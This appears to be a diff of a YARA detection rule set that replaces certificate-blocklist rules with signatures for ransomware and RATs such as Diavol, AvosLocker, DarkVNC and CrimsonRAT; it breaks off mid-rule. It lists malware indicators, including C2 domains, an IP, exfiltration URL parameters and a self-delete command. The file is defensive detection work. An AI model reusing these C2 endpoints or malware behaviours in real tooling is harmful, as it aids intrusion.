+		uint16(0)==0x5a4d and ( all of ($url*) or all of ($s*) or 4 of ($x*) or 5 of ($v1*) or 5 of ($v2*) or (4 of ($v2*) and #v2_1>10))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D9D419C9095A79B1F764297Addb935Da : FILE
+rule DITEKSHEN_MALWARE_Win_Spyro : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Spyro / VoidCrypt / Limbozar ransomware"
 		author = "ditekSHen"
-		id = "7c45a78c-2cde-5200-81fd-239effef7fe6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "8b3273c4-827e-50ce-983e-a5843f6b5a78"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3997-L4008"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6649-L6675"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dd35b48752eec01e1bfff182410da9a857735e0052e9c1a0d7c366dbee808d3c"
+		logic_hash = "2e3be361f6d4283fd312a4486eaa39d6594813937cc3f62dbb603babeff17929"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7d45ec21c0d6fd0eb84e4271655eb0e005949614"
-		importance = 20
+
+	strings:
+		$s1 = "Decrypt-info.txt" ascii wide
+		$s2 = "AbolHidden" ascii wide
+		$s3 = "C:\\ProgramData\\prvkey" ascii wide
+		$s4 = ".?AV?$TF_CryptoSystemBase@VPK_Encryptor@CryptoPP" ascii
+		$s5 = "C:\\Users\\LEGION\\" ascii
+		$s6 = "C:\\ProgramData\\pkey.txt" fullword ascii
+		$s7 = ".Spyro" fullword ascii
+		$m1 = "Go to C:\\ProgramData\\ or in Your other Drives" wide
+		$m2 = "saving prvkey.txt.key file will cause" wide
+		$m3 = "in Case of no Answer:" wide
+		$m4 = "send us prvkey*.txt.key" wide
+		$m5 = "Somerhing went wrong while writing payload on disk" ascii
+		$m6 = "this country is forbidden.\"}" ascii
+		$c1 = "Voidcrypt/1.0" ascii
+		$c2 = "h1dd3n.cc" ascii
+		$c3 = "/voidcrypt/index.php" ascii
+		$c4 = "&user=" ascii
+		$c5 = "&disk-size=" ascii
+		$c6 = "unique-id=" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Nova soft" and pe.signatures[i].serial=="00:d9:d4:19:c9:09:5a:79:b1:f7:64:29:7a:dd:b9:35:da")
+		uint16(0)==0x5a4d and (5 of ($s*) or 4 of ($c*) or 3 of ($m*) or 8 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_02E44D7D1D38Ae223B27A02Bacd79B53 : FILE
+rule DITEKSHEN_MALWARE_Win_Darkvnc : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DarkVNC"
 		author = "ditekSHen"
-		id = "7f2ad143-c46b-58cb-9fe5-c7bb9c6d9234"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3c7d215c-fcca-5a0f-b59c-d84fd894677a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4010-L4021"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6677-L6696"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7ab506b2e4a716bc6f7115a071f46df4ea4ac88a4b636506a13ac0d383664e58"
+		logic_hash = "b0dbde04c0a05e476d505b92cf7dbf3b4ef0dd9e88eafcd21b7a7d0e3623abbd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "34e0ecae125302d5b1c4a7412dbf17bdc1b59f04"
-		importance = 20
+
+	strings:
+		$s1 = "USR-%s(%s)_%S-%S%u%u" fullword wide
+		$s2 = "BOT-%s(%s)_%S-%S%u%u" fullword wide
+		$s3 = "USR-UnicodeErr(Err)_%s-%s%u%u" fullword ascii
+		$s4 = "BOT-UnicodeErr(Err)_%s-%s%u%u" fullword ascii
+		$s5 = "PRM_STRG" fullword wide
+		$s6 = "bot_shell >" ascii
+		$s7 = "monitor_off / monitor_on" ascii
+		$s8 = "kbd_off / kbd_on" ascii
+		$s9 = "ActiveDll: Dll inject thread for process 0x%x terminated with status: %u" ascii
+		$s10 = "PsSup: File %s successfully started with parameter \"%s\"" ascii
+		$s11 = "PsSup: ShellExecute failed. File: %s, error %u" ascii
+		$s12 = "#hvnc" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Zhuhai Kingsoft Office Software Co., Ltd." and pe.signatures[i].serial=="02:e4:4d:7d:1d:38:ae:22:3b:27:a0:2b:ac:d7:9b:53")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_041868Dd49840Ff44F8E3D3070568350 : FILE
+rule DITEKSHEN_MALWARE_Win_RSJON : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects RSJON / Ryzerlo / HiddenTear ransomware"
 		author = "ditekSHen"
-		id = "2cfbae1f-9c8a-5263-b9d6-5be27fdca822"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7cc3e863-b594-51a9-9d41-68021ce3b97c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4023-L4034"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6698-L6727"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "80abb596d96cb388bf3ff23598fc889d4c14cccf262d01f10a5be3a738a4907e"
+		logic_hash = "abfea2955bf0d0b0511ea820582cc15fbcfc38dbed71fb2a0050cd98a9311cda"
 		score = 75
-		quality = 75
+		quality = 48
 		tags = "FILE"
-		thumbprint = "e104f236e3ee7d21a0ea8053fe8fc5c412784079"
-		importance = 20
+
+	strings:
+		$pdb1 = "C:\\Users\\brknc\\source\\repos\\" ascii
+		$pdb2 = "\\rs-jon\\obj\\Debug\\rs-jon.pdb" ascii
+		$pdb3 = "\\rs-jon\\obj\\Release\\rs-jon.pdb" ascii
+		$x1 = "READ_ME_PLZ.txt" wide
+		$x2 = "Files has been encrypted with rs-jon" wide
+		$x3 = ".rsjon" wide
+		$x4 = "bitcoins or kebab" wide
+		$x5 = /rs[-_]jon/ fullword ascii wide
+		$s1 = "SPIF_UPDATEINIFILE" fullword ascii
+		$s2 = "SPI_SETDESKWALLPAPER" fullword ascii
+		$s3 = "bytesToBeEncrypted" fullword ascii
+		$s4 = "SendPassword" fullword ascii
+		$s5 = "EncryptFile" ascii
+		$s6 = "fWinIni" fullword ascii
+		$s7 = "BTCAdress" fullword ascii
+		$s8 = "self_destruck" fullword ascii
+		$c1 = "?computer_name=" wide
+		$c2 = "&serialnumber=" wide
+		$c3 = "&password=" wide
+		$c4 = "&allow=ransom" wide
+		$c5 = "://darkjon.tk/" wide
+		$c6 = "/rnsm/write.php" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Zhuhai Kingsoft Office Software Co., Ltd." and pe.signatures[i].serial=="04:18:68:dd:49:84:0f:f4:4f:8e:3d:30:70:56:83:50")
+		uint16(0)==0x5a4d and (3 of ($x*) or 6 of ($s*) or 4 of ($c*) or (2 of ($c*) and 4 of ($s*)) or (1 of ($pdb*) and 1 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C501B7176B29A3Cb737361Cf85414874 : FILE
+rule DITEKSHEN_MALWARE_Win_Boxcaon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects IndigoZebra BoxCaon"
 		author = "ditekSHen"
-		id = "8bebf02c-de14-5488-8720-5fc98b0799bd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "becbde73-8b72-5e98-8684-87068ffff71b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4036-L4047"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6729-L6746"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f3eb67b39e0e4e12388f17d231fadfc2ea36b1568191a411950c2e24c32ed09c"
+		logic_hash = "4f2f26e6678d49bfa5937511b1788a059ee10e1b5f19e53d6386199738a925a5"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "0788801185a6bf70b805c2b97a7c6ce66cfbb38d"
-		importance = 20
+
+	strings:
+		$s1 = "<RetCMD null>" fullword wide
+		$s2 = "<txt null>" fullword wide
+		$s3 = "C:\\Users\\Public\\%d\\" fullword wide
+		$s4 = "api.dropboxapi.com" fullword wide
+		$s5 = "/2/files/upload" fullword wide
+		$ts1 = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" ascii wide
+		$ts2 = "%s /A /C \"%s\" > %s" ascii wide
+		$ts3 = "ersInfo" ascii wide
+		$ts4 = "%svmpid%d.log" ascii wide
+		$ts5 = "%scscode%d.log" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE5\\x8B\\x92\\xE8\\x89\\xBE\\xE8\\xAF\\xB6\\xE8\\x89\\xBE\\xE8\\xB4\\x9D\\xE8\\xAF\\xB6\\xE8\\xAF\\xB6\\xE8\\xB4\\x9D\\xE5\\x90\\xBE\\xE5\\xBC\\x97\\xE5\\xBC\\x97\\xE5\\x90\\xBE\\xE8\\xAF\\xB6\\xE5\\x8B\\x92\\xE8\\xB4\\x9D\\xE5\\xBC\\x97\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xE8\\xAF\\xB6\\xE8\\x89\\xBE\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xE8\\x89\\xBE\\xE5\\xBC\\x97\\xE5\\xBC\\x97" and pe.signatures[i].serial=="c5:01:b7:17:6b:29:a3:cb:73:73:61:cf:85:41:48:74")
+		( uint16(0)==0x5a4d and all of ($s*)) or all of ($ts*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_234Bf4Ef892Df307373638014B35Ab37 : FILE
+rule DITEKSHEN_MALWARE_Win_Avoslocker : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Hunt for AvosLocker ransomware"
 		author = "ditekSHen"
-		id = "af403af3-2c10-5742-80f2-c507695106a2"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "390e57b2-207e-5013-899a-0b04aa63a56f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4049-L4060"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6748-L6757"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d01dbb798b309927e666e5e68c56c6eeabad7ccbc427d62f0507597c6e9e7aa7"
+		logic_hash = "85601fdd13ddeb1fc0b8b98eb68e324046d60c1ae9467d083a75abebcb50e3a0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "348f7e395c77e29c1e17ef9d9bd24481657c7ae7"
-		importance = 20
+
+	strings:
+		$s1 = "GET_YOUR_FILES_BACK.txt" ascii wide
+		$s2 = ".avos" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="23:4b:f4:ef:89:2d:f3:07:37:36:38:01:4b:35:ab:37")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C650Ae531100A91389A7F030228B3095 : FILE
+rule DITEKSHEN_MALWARE_Win_Diavol : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Diavol ransomware"
 		author = "ditekSHen"
-		id = "80ee9422-190d-5a4e-9a4c-fb8d1b2e2f8c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "df5cea04-505e-5009-b247-ba71b6d81ecc"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4062-L4073"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6759-L6784"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e5afd76711e1b466d7eba742f50c7f9551498796f0aca45566bd9686034efac3"
+		logic_hash = "bcc7a9dc2dcb12ded75af9d79ab0f46f0e69da9e9fe72539be6351306ed11c18"
 		score = 75
-		quality = 75
+		quality = 48
 		tags = "FILE"
-		thumbprint = "05eebfec568abc5fc4b2fd9e5eca087b02e49f53"
-		importance = 20
+
+	strings:
+		$s1 = "README_FOR_DECRYPT.txt" ascii wide nocase
+		$s2 = ".lock64" fullword ascii wide
+		$s3 = "LockMainDIB" ascii wide
+		$s4 = "locker.divided" ascii wide
+		$s5 = "%tob_dic%/" wide
+		$s6 = "%cid_bot%" wide
+		$m1 = "GENBOTID" ascii wide
+		$m2 = "SHAPELISTS" ascii wide
+		$m3 = "REGISTER" ascii wide
+		$m4 = "FROMNET" ascii wide
+		$m5 = "SERVPROC" ascii wide
+		$m6 = "SMBFAST" ascii wide
+		$c1 = "/Bnyar8RsK04ug/" fullword ascii
+		$c2 = "/landing" fullword ascii
+		$c3 = "/wipe" fullword ascii
+		$c4 = "&ip_local1=111.111.111.111&ip_local2=222.222.222.222&ip_external=2.16.7.12" fullword ascii
+		$c5 = "&group=" fullword ascii
+		$c6 = "/BnpOnspQwtjCA/register" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "POKEROWA STRUNA SP Z O O" and pe.signatures[i].serial=="c6:50:ae:53:11:00:a9:13:89:a7:f0:30:22:8b:30:95")
+		uint16(0)==0x5a4d and (4 of ($s*) or 5 of ($m*) or 4 of ($c*) or 7 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4F8Ebbb263F3Cbe558D37118C43F8D58 : FILE
+rule DITEKSHEN_MALWARE_Win_Margulasrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects MargulasRAT"
 		author = "ditekSHen"
-		id = "c273f7e4-8c88-5205-be4b-3a8e8bed144e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6efabf80-9194-542d-afd2-9bf9c8e26e55"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4075-L4086"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6786-L6810"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e502e7e08fa82f8bd1b2b15c34999ece6b3d59d75ab1a4dda05b4b9440c49b7c"
+		logic_hash = "dd5b94c947d97cdc34032f2cb84b4975a1e8f510638857fb6dbe553bcff7d16e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "3f27a35fe7af06977138d02ad83ddbf13a67b7c3"
-		importance = 20
+
+	strings:
+		$pdb1 = "G:\\VP-S-Fin\\memory\\" ascii
+		$pdb2 = "G:\\VP-S-Fin\\Margulas\\" ascii
+		$pdb3 = "G:\\VP-S-Fin\\remote" ascii
+		$pdb4 = "G:\\VP-S-Fin\\" ascii
+		$s1 = "/C choice /C Y /N /D Y /T 1 & Del " fullword wide
+		$s2 = "strToHash" fullword ascii
+		$s3 = "\\socking" fullword wide
+		$s4 = "\\wininets" fullword wide
+		$s5 = "ClientSocket" fullword ascii
+		$s6 = "new Stream()" fullword wide
+		$s7 = "CipherText" fullword ascii
+		$s8 = "WriteAllBytes" fullword ascii
+		$s9 = { 00 50 72 6f 63 65 73 73 00 45 78 69 73 74 73 00}
+		$s10 = "pxR/THCwdLuruMmw8wB8xAUvbno1yPGBTOV9IoOkAp/n7+paQm74pkzlfSKDpAKfTOV9IoOkAp9M5X0ig6QCn0zlfSKDpAKfTOV9IoOkAp" wide
+		$c1 = "149.248.52.61" wide
+		$c2 = "://vpn.nic.in" wide
+		$c3 = "://www.mod.gov.in/dod/sites/default/files/" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Maxthon Technology Co, Ltd." and pe.signatures[i].serial=="4f:8e:bb:b2:63:f3:cb:e5:58:d3:71:18:c4:3f:8d:58")
+		uint16(0)==0x5a4d and ((1 of ($pdb*) and (1 of ($c*) or 3 of ($s*))) or (1 of ($c*) and 3 of ($s*)) or (6 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_01Ea62E443Cb2250C870Ff6Bb13Ba98E : FILE
+rule DITEKSHEN_MALWARE_Win_Lilithrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects LilithRAT"
 		author = "ditekSHen"
-		id = "40c5f73b-70b6-5db7-8060-01ad77e5f319"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "87e56524-f557-5662-86bc-2b26e7c74aee"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4088-L4099"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6812-L6839"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dbf281989fb89976f83e0e2395f02c1e8c4c9ec5f96095786d9c6406518eb315"
+		logic_hash = "1e8ac8a329ff99318e12666ea1d90d21bb9b0dff656a5eb1ce741b940c99afd5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f293eed3ff3d548262cddc43dce58cfc7f763622"
-		importance = 20
+		hash1 = "132870a1ae6a0bdecaa52c03cfe97a47df8786f148fa8ca113ac2a8d59e3624a"
+		hash2 = "ab7b6e0b28995bdeea44f20c0aba47f95e1d6ba281af3541cd2c04dc6c2a3ad9"
+		hash3 = "b2eeb487046ba1d341fb964069b7e83027b60003334e04e41b467e35c3d2460f"
+		hash4 = "cebcda044c60b709ba4ee0fa9e1e7011a6ffc17285bcc0948d27f866ec8d8f20"
+
+	strings:
+		$pdb1 = "c:\\Users\\Groovi\\Documents\\Visual Studio 2008\\Projects\\TestDll\\" ascii
+		$pdb2 = "C:\\Users\\iceberg\\Downloads\\RAT-Server-master\\RAT-Server-master\\RAT\\Debug\\RAT.pdb" ascii
+		$pdb3 = "C:\\Users\\Samy\\Downloads\\Compressed\\Lilith-master\\Debug\\Lilith.pdb" ascii
+		$s1 = "log.txt" fullword ascii
+		$s2 = "keylog.txt" fullword ascii
+		$s3 = "File Listing Completed Successfully." fullword ascii
+		$s4 = "Download Execute" fullword ascii
+		$s5 = "File Downloaded and Executed Successfully." fullword ascii
+		$s6 = "C:\\WINDOWS\\system32\\cmd.exe" fullword ascii
+		$s7 = "CMD session closed" ascii
+		$s8 = "Restart requested: Restarting self" fullword ascii
+		$s9 = "Termination requested: Killing self" fullword ascii
+		$s10 = "Couldn't write to CMD: CMD not open" fullword ascii
+		$s11 = "keydump" fullword ascii
+		$s12 = "remoteControl" fullword ascii
+		$s13 = "packettype" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Tencent Technology(Shenzhen) Company Limited" and pe.signatures[i].serial=="01:ea:62:e4:43:cb:22:50:c8:70:ff:6b:b1:3b:a9:8e")
+		uint16(0)==0x5a4d and (1 of ($pdb*) or 6 of ($s*) or (1 of ($pdb*) and 4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_726Ee7F5999B9E8574Ec59969C04955C : FILE
+rule DITEKSHEN_MALWARE_Win_Epicenterrat : FILE
 {
 	meta:
-		description = "Detects IntelliAdmin commercial remote administration signing certificate"
+		description = "Detects EpicenterRAT"
 		author = "ditekSHen"
-		id = "5e88abd2-97d5-5271-ace5-6b7cb2cd6633"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6abe6e94-d7f5-5f88-96a6-a8fad599ef6a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4101-L4112"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6841-L6863"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "494afa3711d93c56d52b8ae944db737cb53db8d27f2255c7045c3bf4478995a3"
+		logic_hash = "e9086dff22e301f57c6a9bdb38fbed8e902d5b8ca20a5e5b3cda56db08d5582e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2fb952bc1e3fcf85f68d6e2cb5fc46a519ce3fa9"
-		importance = 20
+
+	strings:
+		$pdb1 = "c:\\Users\\Zombie\\Desktop\\MutantNinja\\" ascii
+		$pdb2 = "\\Epicenter Client\\" ascii
+		$s1 = "PROCESS_LIST<%SEP%>" fullword wide
+		$s2 = "GETREADY_RECV_FILE<%SEP%>" fullword wide
+		$s3 = "DISPLAY<%SEP%>" wide
+		$s4 = "GETSCREEN<%SEP%>" fullword wide
+		$s5 = "dumpImageName" fullword ascii
+		$s6 = "dumpLoc" fullword ascii
+		$s7 = "EXPECT<%SEP%>filelist<%SEP%>" fullword wide
+		$s8 = "<%FSEP%>FOLDER<%FSEP%>-<%SEP%>" fullword wide
+		$s9 = "KILLPROC<%SEP%>" fullword wide
+		$s10 = "LAUNCHPROC<%SEP%>" fullword wide
+		$s11 = "cmd.exe /c start /b " fullword wide
+		$s12 = "savservice" fullword wide
+		$s13 = "getvrs" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "IntelliAdmin, LLC" and pe.signatures[i].serial=="72:6e:e7:f5:99:9b:9e:85:74:ec:59:96:9c:04:95:5c")
+		uint16(0)==0x5a4d and (1 of ($pdb*) or 5 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0A005D2E2Bcd4137168217D8C727747C : FILE
+rule DITEKSHEN_MALWARE_Win_Lastconn : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects LastConn"
 		author = "ditekSHen"
-		id = "c3888d90-0c09-539a-9155-a60e4670320d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "18727c30-d84d-5ffa-acd4-2cc54e553604"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4114-L4125"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6865-L6894"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b4024cd0d6c9a86d3956b9ba5d9692fc7ec2d7aa399a56a0b12f9387801a0b08"
+		logic_hash = "94f5874353d0fb475595373c06a0de91603cad9b435d35dc00febf90608d6b5a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "df788aa00eb400b552923518108eb1d4f5b7176b"
-		importance = 20
+
+	strings:
+		$s1 = "System.Net.Http.SysSR" fullword wide
+		$s2 = "System.Net.Http.WrSR" fullword wide
+		$s3 = "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK" fullword wide
+		$s4 = { 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 0c 6e
+               00 6f 00 74 00 69 00 66 00 79 00 04 06 12 80 e8
+               05 00 00 12 80 e8 08 75 00 73 00 65 00 72 00 08
+               74 00 65 00 61 00 6d 00 06 61 00 70 00 70 00 0c
+               6e 00 6f 00 61 00 75 00 74 00 68 00 }
+		$s5 = { 68 00 69 00 64 00 64 00 65 00 6e 00 10 64 00 69
+               00 73 00 61 00 6c 00 6c 00 6f 00 77 00 0e 65 00
+               78 00 74 00 65 00 6e 00 64 00 73 00 04 69 00 64
+               00 16 75 00 6e 00 69 00 71 00 75 00 65 00 49 00
+               74 00 65 00 6d 00 73 }
+		$s6 = "<RunFileOnes>d__" ascii
+		$s7 = "<UploadFile>d__" ascii
+		$s8 = "<ChunkUpload>d__" ascii
+		$s9 = "<StartFolder>d__" ascii
+		$s10 = "<ReadFileAlw>d__" ascii
+		$s12 = "<WriteFileToD>d__" ascii
+		$s13 = "<ReadFile>d__" ascii
+		$s14 = "<GetUpload>d__" ascii
+		$s15 = "CDropbox.Api.DropboxRequestHandler+<RequestJsonStringWithRetry>d__" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Beijing JoinHope Image Technology Ltd." and pe.signatures[i].serial=="0a:00:5d:2e:2b:cd:41:37:16:82:17:d8:c7:27:74:7c")
+		uint16(0)==0x5a4d and 12 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D3D74Ae548830D5B1Bca9856E16C564A : FILE
+rule DITEKSHEN_MALWARE_Win_Crimsonrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects CrimsonRAT"
 		author = "ditekSHen"
-		id = "692ef744-9609-5cb1-b425-3bacf012fcdb"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "54c9bbb2-9fa6-5c1f-9272-13255357ddbf"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4127-L4138"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6896-L6920"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c72f10af530a6af4526ad956ef6058d097417a8fe3b902e3c7cba27b04e0c2c1"
+		logic_hash = "a40cf09dbaafb2e7b9130af1b40e46b4c38fed6185b16435ad4c118f9e6d56c7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "3f996b75900d566bc178f36b3f4968e2a08365e8"
-		importance = 20
+
+	strings:
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|" fullword wide
+		$s2 = "system volume information|" fullword wide
+		$s3 = "program files (x86)|" fullword wide
+		$s4 = "program files|" fullword wide
+		$s5 = "<SAVE_AUTO<|" fullword wide
+		$s6 = "add_up_files" fullword ascii
+		$s7 = "see_folders" ascii
+		$s8 = "see_files" ascii
+		$s9 = "see_scren" ascii
+		$s10 = "see_recording" ascii
+		$s11 = "see_responce" ascii
+		$s12 = "pull_data" ascii
+		$s13 = "do_process" ascii
+		$s14 = "do_updated" ascii
+		$s15 = "IPSConfig" fullword ascii
+		$s16 = "#Runing|ver#" wide
+		$s17 = "|fileslog=" wide
 
 	condition:
